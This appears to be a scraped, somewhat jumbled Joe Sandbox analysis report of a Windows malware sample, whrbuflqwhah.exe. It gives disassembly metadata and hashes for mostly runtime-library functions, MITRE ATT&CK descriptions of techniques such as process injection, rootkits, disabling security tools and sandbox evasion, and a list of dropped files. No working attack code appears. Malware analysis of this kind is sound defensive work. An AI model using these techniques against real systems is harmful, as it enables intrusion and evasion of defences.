libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000002295D53285E

Memory Dump Source

Source File: 00000024.00000002.3071251930.000002295D530000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2295d530000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 0e6802290ade3d6c3e0c61d3da31a49d69c5494da3b9c3fb0fa3ef4ed66a3788
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 3361F333B01A9097DB56CF99900872DB392FB54BA4FD88125EE594778CDA38D8E3C720

Non-executed Functions

Function 000002295D536910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002295D536938
__scrt_acquire_startup_lock.LIBCMT ref: 000002295D53698A
_RTC_Initialize.LIBCMT ref: 000002295D5369B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002295D5369DE
__scrt_release_startup_lock.LIBCMT ref: 000002295D536A09

Strings

`eh vector copy constructor iterator', xrefs: 000002295D536A3B
scriptor', xrefs: 000002295D536B39, 000002295D536BB2, 000002295D536BEC
`dynamic initializer for ', xrefs: 000002295D5369C7
`eh vector vbase copy constructor iterator', xrefs: 000002295D5369EE

Memory Dump Source

Source File: 00000024.00000002.3071251930.000002295D530000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2295d530000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 98c625c09eff0f36b24967c82461e185994a4a6477cb6c99a2958b7298546d16
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 3781A022704245A6FA53AFED94593592290EF95B80FD48029FA458779EDF38C8FF8730

Function 000002295D539944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002295D5399A1

Part of subcall function 000002295D53A814: __GetUnwindTryBlock.LIBCMT ref: 000002295D53A857
Part of subcall function 000002295D53A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002295D53A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002295D539A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002295D539CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002295D539DDA

Strings

csm, xrefs: 000002295D539A22
csm, xrefs: 000002295D5399BB
csm, xrefs: 000002295D539A9C

Memory Dump Source

Source File: 00000024.00000002.3071251930.000002295D530000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2295d530000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: da551b364453b684aac20aeaef5e6ad67a05c1b449b1d4552db4f9eae988a640
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 00E1AEB2704780D6EB62CFA9D48939D7BA0FB45798F800515FE8957B49CB34C1E2CB21

Function 000002295D543504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002295D54352C
_set_statfp.LIBCMT ref: 000002295D543547
_set_statfp.LIBCMT ref: 000002295D543563
_set_statfp.LIBCMT ref: 000002295D54359F

Memory Dump Source

Source File: 00000024.00000002.3071251930.000002295D530000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2295d530000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 4d7a16c8f84e2147aeb73df7b6f4eafd36b58c9a2c7a84b204248e4a72c11798
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: F611A7227DCA1271FA5A15ECE54D3A916806B58374FC84638FB76062FECA24D8F34122

Function 000002295D53F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002295D53F124

Strings

or copy constructor iterator', xrefs: 000002295D53F25A, 000002295D53F275
Tuesday, xrefs: 000002295D53F0F4
Wednesday, xrefs: 000002295D53F1ED

Memory Dump Source

Source File: 00000024.00000002.3071251930.000002295D530000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2295d530000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 23e656c347c1b441ba95a6f2cc160327888d9115f172b8bb851d413c784f1195
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 9661B276704640A2FA678FEDE94C32A66A1EF85781FD44515FA0A177ACDB34C8E38330

Function 000002295D53A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002295D53A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002295D53A288

Strings

csm, xrefs: 000002295D53A1C2
csm, xrefs: 000002295D53A2DA

Memory Dump Source

Source File: 00000024.00000002.3071251930.000002295D530000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2295d530000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 850b4a3b32301abf376dda588f44768a94a4c843b664c247edfac5ecfee9c4de
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 7E519132300380DAEB7ACF99944835877A0FB55B94F984215FA9987BD9CB38D4F2C721

Function 000002295D5383E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002295D538413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002295D5384A8

Strings

f, xrefs: 000002295D538426
csm, xrefs: 000002295D53848E

Memory Dump Source

Source File: 00000024.00000002.3071251930.000002295D530000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2295d530000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: cf76caa513402423ef1de6ca9bba5c9327f9e149eec27c1d7f8438aeb0d1bf89
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: EE31B372301740B6E71ADF59E8487193B64FB44B98F858014FE5603B4CDB38C9A2C716

Function 000002295D539E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002295D539EB7

Strings

MOC, xrefs: 000002295D539E7C
RCC, xrefs: 000002295D539E85

Memory Dump Source

Source File: 00000024.00000002.3071251930.000002295D530000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2295d530000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 2997df5615918fccefb6b8514ccd5441272279f2dfd5a55482fe6714c0e174f4
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: CE61AD77B00B84DAEB22CFA9D48439D77A0FB44B88F444215EF4917B98DB38D1A6CB50

Function 000002295D537356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002295D53737C

Strings

riptor at (, xrefs: 000002295D537364
ierarchy Descriptor', xrefs: 000002295D537381

Memory Dump Source

Source File: 00000024.00000002.3071251930.000002295D530000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2295d530000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 0b4036483603ea026bbd5867053e3460b1e7db21a28e1e4dfa0739cc0c630890
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 75E08661740B48A0DF068F65E84439833A1DB58B64FC89122E95C07315FA78D1FAC311

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report whrbuflqwhah.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe

C:\Users\user\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a1n55qbd.ntb.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_keg54dfm.zgo.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oogfclnn.vk5.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sjglyrxt.lep.psm1

C:\Windows\System32\drivers\etc\hosts

C:\Windows\System32\winevt\Logs\Application.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-BindFlt%4Operational.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-Wcifs%4Operational.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx

Windows Analysis Report
whrbuflqwhah.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre